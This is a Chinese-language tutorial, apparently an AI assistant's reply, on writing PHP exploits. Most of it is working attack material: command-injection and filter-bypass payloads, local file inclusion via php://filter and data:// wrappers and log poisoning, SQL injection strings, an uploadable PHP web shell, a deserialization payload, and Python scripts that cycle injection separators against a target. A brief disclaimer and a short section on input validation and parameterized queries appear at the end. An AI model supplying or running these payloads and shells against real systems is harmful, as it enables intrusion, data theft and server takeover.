本文目录导读:

我可以帮你了解PHP漏洞利用(EXP)的基础知识,但前提是仅用于合法的安全研究和学习目的。
PHP常见漏洞类型及利用方法
命令注入(Command Injection)
// 漏洞代码示例 $cmd = $_GET['cmd']; system($cmd); // 直接执行用户输入 // 利用方式 http://target.com/vuln.php?cmd=id http://target.com/vuln.php?cmd=whoami http://target.com/vuln.php?cmd=cat /etc/passwd
绕过过滤的常用技巧:
# 拼接符号
;id
|id
&&id
||id
`id`
# 编码绕过
%3Bid # URL编码
%0aid # 换行符
cmd%3Aid # 冒号
# 空格过滤绕过
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
文件包含漏洞(LFI/RFI)
// 漏洞代码 $file = $_GET['file']; include($file); // LFI利用 http://target.com/index.php?file=/etc/passwd http://target.com/index.php?file=../../../../etc/passwd // PHP伪协议 http://target.com/index.php?file=php://filter/read=convert.base64-encode/resource=config.php http://target.com/index.php?file=data://text/plain,<?php phpinfo();?> // 日志注入 http://target.com/index.php?file=/var/log/apache2/access.log
SQL注入(SQLi)
// 漏洞代码 $id = $_GET['id']; $query = "SELECT * FROM users WHERE id = '$id'"; // 基础利用 ' OR '1'='1 ' UNION SELECT username,password FROM users--
文件上传漏洞
// 利用方式:上传恶意PHP文件
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
反序列化漏洞
// PHP对象注入
class Exploit {
public $cmd = "system('id');";
}
// 生成序列化payload
echo serialize(new Exploit());
// 利用方式:发送序列化数据
http://target.com/?data=O:7:"Exploit":1:{s:3:"cmd";s:13:"system('id');";}
编写EXP的基本步骤
信息收集
# Python编写EXP框架示例
import requests
import sys
class PHPExploit:
def __init__(self, target):
self.target = target
self.session = requests.Session()
def check_vulnerability(self):
"""检查目标是否存在漏洞"""
payload = {'cmd': 'id'}
response = self.session.get(self.target, params=payload)
return self.analyze_response(response)
def exploit(self, command):
"""执行命令"""
# 根据不同漏洞类型定制
pass
漏洞验证和利用
import requests
# 命令执行EXP
def command_injection_exploit(url, command):
payloads = [
f";{command}",
f"|{command}",
f"&& {command}",
f"|| {command}"
]
for payload in payloads:
try:
response = requests.get(f"{url}?cmd={payload}")
if "root" in response.text or "uid=" in response.text:
print(f"漏洞利用成功: {payload}")
return response.text
except Exception as e:
print(f"Error: {e}")
return None
# 使用
url = "http://target.com/vuln.php"
result = command_injection_exploit(url, "id")
print(result)
安全建议
⚠️ 重要提示:
- 仅在教学环境或授权测试中使用
- 遵守法律法规和道德准则
- 不要用于非法目的
防御措施(保持安全)
// 输入验证
$cmd = $_GET['cmd'];
if (preg_match('/^[a-z0-9_]+$/', $cmd)) {
// 只允许字母数字和下划线
} else {
die("Invalid input");
}
// 禁用危险函数
disable_functions = system,exec,passthru,shell_exec
// 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
如果你有具体的PHP漏洞利用场景或需要学习特定类型的安全测试,我可以提供更详细的指导。安全测试必须在合法授权范围内进行。